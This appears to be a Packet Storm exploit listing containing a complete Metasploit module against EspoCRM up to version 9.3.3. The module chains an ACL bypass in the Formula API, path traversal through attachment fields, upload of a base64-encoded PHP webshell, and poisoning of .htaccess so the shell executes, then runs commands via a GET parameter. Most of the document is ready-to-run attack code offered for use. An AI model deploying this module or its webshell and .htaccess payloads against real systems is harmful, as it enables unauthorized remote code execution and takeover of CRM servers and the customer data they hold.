Share
## https://sploitus.com/exploit?id=PACKETSTORM:219085
==================================================================================================================================
    | # Title     : EspoCRM โ‰ค 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/download/upgrades/                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
    
    [+] The exploit chain works as follows:
    
    Authenticates to the EspoCRM API using provided credentials.
    Creates a malicious attachment entry via the Attachment API.
    Abuses a Formula Engine endpoint to bypass ACL restrictions.
    Uses the formula execution to manipulate internal attachment paths (path traversal).
    Uploads a PHP webshell payload through chunked attachment upload.
    Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
    Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
            'Description' => %q{
              Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
              [ 'CVE', '2026-33656' ]
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-01-01'
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username', 'admin']),
            OptString.new('PASSWORD', [true, 'Password', 'admin'])
          ]
        )
      end
    
      def auth_headers
        creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
        token = Rex::Text.encode_base64(creds)
    
        {
          'Espo-Authorization' => token
        }
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'headers' => auth_headers
        )
    
        return Exploit::CheckCode::Detected if res && res.code == 200
        Exploit::CheckCode::Safe
      end
    
      def create_attachment(name, content_type, size)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'name' => name,
            'type' => content_type,
            'role' => 'Attachment',
            'relatedType' => 'Document',
            'field' => 'file',
            'isBeingUploaded' => true,
            'size' => size
          }.to_json
        )
    
        return nil unless res && res.code == 200
        res.get_json_document&.dig('id')
      end
    
      def run_formula(attachment_id, source_path)
        expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'expression' => expr,
            'targetType' => nil,
            'targetId' => nil
          }.to_json
        )
    
        return false unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        json && json['isSuccess'] == true
      end
    
      def upload_chunk(attachment_id, payload_base64)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/octet-stream'
          }),
          'data' => "data:application/octet-stream;base64,#{payload_base64}"
        )
      end
    
      def exploit
        print_status("Creating attachment...")
        shell_id = create_attachment('shell.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
    
        print_good("Attachment ID: #{shell_id}")
    
        print_status("Bypassing ACL via formula...")
        fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
    
        print_good("Path traversal set")
    
        print_status("Uploading PHP payload...")
        php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
        upload_chunk(shell_id, php_payload)
    
        print_good("Webshell written")
    
        print_status("Creating .htaccess entry...")
        ht_id = create_attachment('ht.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
    
        fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
    
        ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
        upload_chunk(ht_id, ht_payload)
    
        print_good(".htaccess poisoned")
    
        webshell = normalize_uri(target_uri.path, 'client/x')
    
        print_status("Executing: #{webshell}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell,
          'vars_get' => {
            'c' => 'whoami'
          }
        )
    
        if res && res.code == 200
          print_good("Execution success")
          print_line(res.body.to_s) if res.body
        else
          fail_with(Failure::UnexpectedReply, "Execution failed")
        end
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================